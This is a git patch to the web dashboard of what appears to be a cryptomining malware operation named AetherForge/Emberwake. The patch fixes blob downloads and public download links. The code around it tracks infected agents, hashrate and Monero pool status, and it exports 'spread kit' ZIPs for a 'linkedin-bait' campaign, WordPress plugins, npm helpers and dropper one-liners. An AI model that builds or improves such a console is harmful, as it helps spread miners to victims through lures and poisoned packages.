From b0240abecc026c1dc8095ca6e94693cb680f58e3 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 15:54:28 -0700 Subject: [PATCH] Fix Emberwake downloads by appending blob anchors before click. ZIP exports and public download links silently failed because blob saves skipped document.body appendChild (unlike Builds DownloadButton) and public links pointed at the command-deck URL instead of same-origin paths. --- server/web/src/api/client.test.ts | 26 ++++++++ server/web/src/api/client.ts | 63 ++++--------------- server/web/src/api/download.test.ts | 27 +++++++- server/web/src/api/download.ts | 22 ++++--- .../Spread/CloudSpreadPanel.test.tsx | 25 +++++++- server/web/src/help/emberwake.test.ts | 7 ++- server/web/src/help/emberwake.ts | 10 ++- server/web/src/pages/EmberwakePage.test.tsx | 25 +++++++- server/web/src/pages/EmberwakePage.tsx | 27 +++++--- 9 files changed, 156 insertions(+), 76 deletions(-) diff --git a/server/web/src/api/client.test.ts b/server/web/src/api/client.test.ts index 28ecfb0..48bc2e4 100644 --- a/server/web/src/api/client.test.ts +++ b/server/web/src/api/client.test.ts @@ -322,6 +322,32 @@ describe('api client', () => { expect(lastFetch().init.method).toBe('DELETE'); }); + it('exportSpreadKit POSTs and triggers blob download', async () => { + setStoredAuth('user', 'pass'); + fetchMock.mockResolvedValueOnce(new Response(new Blob(['zip']), { status: 200 })); + const appendChildSpy = vi.spyOn(document.body, 'appendChild'); + const clickMock = vi.fn(); + vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock); + + await api.exportSpreadKit({ + build_id: 'build-1', + server_url: 'http://localhost:8989', + campaign: 'linkedin-bait', + }); + + const { url, init } = lastFetch(); + expect(url).toBe('/api/v1/builder/spread-kit-export'); + expect(init.method).toBe('POST'); + expectAuthHeaders(init); + expect(JSON.parse(init.body as string)).toEqual({ + build_id: 'build-1', + server_url: 'http://localhost:8989', + campaign: 'linkedin-bait', + }); + expect(appendChildSpy).toHaveBeenCalled(); + expect(clickMock).toHaveBeenCalled(); + }); + it('getDashboardStats and listBuilds', async () => { fetchMock .mockResolvedValueOnce( diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 53d4312..b7a82fd 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,6 +1,6 @@ import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types'; import { authHeaders, clearStoredAuth } from './auth'; -import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download'; +import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout, triggerBlobDownload } from './download'; const API_BASE = '/api/v1'; @@ -275,15 +275,7 @@ export const api = { DOWNLOAD_TIMEOUT_MS, ); if (!res.ok) throw new Error(`Log download failed: ${res.status}`); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `agent-${id.slice(0, 8)}.log`; - document.body.appendChild(a); - a.click(); - document.body.removeChild(a); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `agent-${id.slice(0, 8)}.log`); }, updateAgentMeta: (id: string, notes: string, tags: string[]) => @@ -494,13 +486,10 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip'; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload( + await res.blob(), + req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip', + ); }, exportWordPressPlugin: async (req: { @@ -516,14 +505,8 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site'; - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `${slug}-wordpress-plugin.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `${slug}-wordpress-plugin.zip`); }, exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => { @@ -534,14 +517,8 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper'; - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `${slug}-npm-helper.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `${slug}-npm-helper.zip`); }, exportSpreadTemplate: async (req: { @@ -560,13 +537,7 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `aetherforge-${req.template}.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`); }, // Path Tracer — WireGuard VPN chain sessions @@ -669,13 +640,7 @@ export const api = { }); if (res.status === 401) clearStoredAuth({ expired: true }); if (!res.ok) throw new Error(await res.text()); - const blob = await res.blob(); - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = `aetherforge-${req.template}.zip`; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`); }, testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) => @@ -736,15 +701,9 @@ export const api = { const err = await res.text(); throw new Error(`Backup failed ${res.status}: ${err}`); } - const blob = await res.blob(); const disposition = res.headers.get('Content-Disposition') ?? ''; const match = disposition.match(/filename="([^"]+)"/); const filename = match ? match[1] : 'aetherforge-backup.zip'; - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = filename; - a.click(); - URL.revokeObjectURL(url); + triggerBlobDownload(await res.blob(), filename); }, }; diff --git a/server/web/src/api/download.test.ts b/server/web/src/api/download.test.ts index 7547195..dc24460 100644 --- a/server/web/src/api/download.test.ts +++ b/server/web/src/api/download.test.ts @@ -2,9 +2,34 @@ * @vitest-environment happy-dom */ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download'; +import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout, triggerBlobDownload } from './download'; import { setStoredAuth } from './auth'; +describe('triggerBlobDownload', () => { + let clickMock: ReturnType; + let appendChildSpy: ReturnType; + + beforeEach(() => { + clickMock = vi.fn(); + vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock); + appendChildSpy = vi.spyOn(document.body, 'appendChild'); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it('appends anchor to document body before clicking', () => { + triggerBlobDownload(new Blob(['zip']), 'emberwake-test.zip'); + + expect(appendChildSpy).toHaveBeenCalled(); + const anchor = appendChildSpy.mock.calls[0][0] as HTMLAnchorElement; + expect(anchor.download).toBe('emberwake-test.zip'); + expect(clickMock).toHaveBeenCalled(); + expect(anchor.isConnected).toBe(false); + }); +}); + describe('downloadAuthedFile', () => { let fetchMock: ReturnType; let clickMock: ReturnType; diff --git a/server/web/src/api/download.ts b/server/web/src/api/download.ts index af7111b..9376dc4 100644 --- a/server/web/src/api/download.ts +++ b/server/web/src/api/download.ts @@ -37,6 +37,19 @@ export async function fetchAuthedWithTimeout( } } +/** Save a Blob to the browser Downloads folder (append anchor — required in Chrome/Firefox). */ +export function triggerBlobDownload(blob: Blob, filename: string): void { + const objectUrl = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = objectUrl; + a.download = filename; + a.rel = 'noopener'; + document.body.appendChild(a); + a.click(); + a.remove(); + window.setTimeout(() => URL.revokeObjectURL(objectUrl), 0); +} + /** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */ export async function downloadAuthedFile(apiPath: string, filename: string): Promise { const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`; @@ -46,14 +59,7 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro throw new Error(err || `Download failed (${res.status})`); } const blob = await res.blob(); - const objectUrl = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = objectUrl; - a.download = filename; - document.body.appendChild(a); - a.click(); - a.remove(); - URL.revokeObjectURL(objectUrl); + triggerBlobDownload(blob, filename); } /** Alias used by Forge auto-download and DownloadButton. */ diff --git a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx index 09c19da..aa8f54c 100644 --- a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx +++ b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx @@ -1,9 +1,10 @@ /** @vitest-environment happy-dom */ import { afterEach, describe, expect, it, vi } from 'vitest'; -import { cleanup, render, screen } from '@testing-library/react'; +import { cleanup, render, screen, waitFor } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; import { MemoryRouter } from 'react-router-dom'; import CloudSpreadPanel from './CloudSpreadPanel'; +import { api } from '../../api/client'; vi.mock('../../api/client', () => ({ api: { @@ -26,6 +27,28 @@ describe('CloudSpreadPanel', () => { expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument(); }); + it('calls exportCloudTemplate when a method download is clicked', async () => { + const user = userEvent.setup(); + render( + + + , + ); + const panel = screen.getByTestId('cloud-method-s3-cloudfront'); + await user.click(panel.querySelector('summary')!); + await user.click(screen.getByRole('button', { name: /Download aetherforge-s3-cloudfront\.zip/i })); + await waitFor(() => { + expect(api.exportCloudTemplate).toHaveBeenCalledWith( + expect.objectContaining({ + template: 's3-cloudfront', + server_url: 'https://deck.example', + build_id: 'build-1', + campaign: 'wave-a', + }), + ); + }); + }); + it('shows Crucible cross-link when recon host is entered', async () => { const user = userEvent.setup(); render( diff --git a/server/web/src/help/emberwake.test.ts b/server/web/src/help/emberwake.test.ts index 5952d20..8cfec18 100644 --- a/server/web/src/help/emberwake.test.ts +++ b/server/web/src/help/emberwake.test.ts @@ -4,6 +4,7 @@ import { combinedDropperQuery, ps1Oneliner, shOneliner, + publicDownloadPath, publicDownloadUrl, } from './emberwake'; @@ -24,7 +25,11 @@ describe('emberwake URL helpers', () => { expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh'); }); - it('public download URL', () => { + it('public download path for same-origin dashboard links', () => { + expect(publicDownloadPath('build-1', 'c1')).toBe('/api/v1/public/download/build-1?c=c1'); + }); + + it('public download URL for external sharing', () => { expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe( 'http://host/api/v1/public/download/build-1?c=c1', ); diff --git a/server/web/src/help/emberwake.ts b/server/web/src/help/emberwake.ts index 95377f5..e3ddd26 100644 --- a/server/web/src/help/emberwake.ts +++ b/server/web/src/help/emberwake.ts @@ -38,8 +38,14 @@ export function getUrl(baseUrl: string, query = ''): string { return `${baseUrl.replace(/\/$/, '')}/get${query}`; } +/** Same-origin path for in-dashboard download links (always hits the current browser host). */ +export function publicDownloadPath(buildId: string, campaign = ''): string { + const q = campaignQuery(campaign); + return `/api/v1/public/download/${encodeURIComponent(buildId)}${q}`; +} + +/** Full URL for sharing/copy — uses command deck base from campaign setup. */ export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string { const base = origin.replace(/\/$/, ''); - const q = campaignQuery(campaign); - return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`; + return `${base}${publicDownloadPath(buildId, campaign)}`; } diff --git a/server/web/src/pages/EmberwakePage.test.tsx b/server/web/src/pages/EmberwakePage.test.tsx index 1cb0c2f..06e5ffa 100644 --- a/server/web/src/pages/EmberwakePage.test.tsx +++ b/server/web/src/pages/EmberwakePage.test.tsx @@ -115,10 +115,33 @@ describe('EmberwakePage', () => { await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i })); await waitFor(() => { - expect(exportSpy).toHaveBeenCalled(); + expect(exportSpy).toHaveBeenCalledWith({ + build_id: 'build-1', + server_url: 'http://192.168.1.5:8080', + campaign: 'linkedin-bait', + }); }); }); + it('shows export error when spread kit download fails', async () => { + const user = userEvent.setup(); + vi.spyOn(api, 'exportSpreadKit').mockRejectedValueOnce(new Error('no build pinned')); + renderEmberwake(); + await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); + await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i })); + expect(await screen.findByRole('alert')).toHaveTextContent('no build pinned'); + }); + + it('uses same-origin path for public download links', async () => { + const user = userEvent.setup(); + renderEmberwake(); + await screen.findByRole('heading', { level: 1, name: /Emberwake/i }); + await user.click(screen.getByText(/Public download links/i)); + const link = await screen.findByRole('link', { name: /public download/i }); + expect(link).toHaveAttribute('href', '/api/v1/public/download/build-1?c=linkedin-bait'); + expect(link).toHaveAttribute('download'); + }); + it('auto-selects pinned build A without re-fetch loop', async () => { const listSpy = vi.spyOn(api, 'listBuilds'); const warRoomSpy = vi.spyOn(api, 'getWarRoom'); diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index dec31b6..cd4682b 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -2,7 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types'; -import { publicDownloadUrl } from '../help/emberwake'; +import { publicDownloadPath, publicDownloadUrl } from '../help/emberwake'; import { EMBERWAKE_TECHNIQUE_LINKS, SPREAD_TECHNIQUES_DOC, @@ -64,6 +64,7 @@ export default function EmberwakePage() { const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel'); const [highlightedCampaign, setHighlightedCampaign] = useState(null); const [exportBusy, setExportBusy] = useState(false); + const [exportError, setExportError] = useState(''); const [siteName, setSiteName] = useState('my-blog'); const [notesBusy, setNotesBusy] = useState(false); const [autopsySubnet, setAutopsySubnet] = useState(''); @@ -217,6 +218,7 @@ export default function EmberwakePage() { }; const exportKit = async () => { + setExportError(''); setExportBusy(true); try { await api.exportSpreadKit({ @@ -224,6 +226,8 @@ export default function EmberwakePage() { server_url: serverBase, campaign, }); + } catch (e) { + setExportError(e instanceof Error ? e.message : 'Spread kit export failed'); } finally { setExportBusy(false); } @@ -321,14 +325,17 @@ export default function EmberwakePage() { ZIP templates for USB, LAN, or web landers — includes /spread/ assets.

- +
+ + {exportError ?

{exportError}

: null} +
@@ -557,7 +564,7 @@ export default function EmberwakePage() {
  • {b.worker_name} ({b.platform}) {' — '} - + public download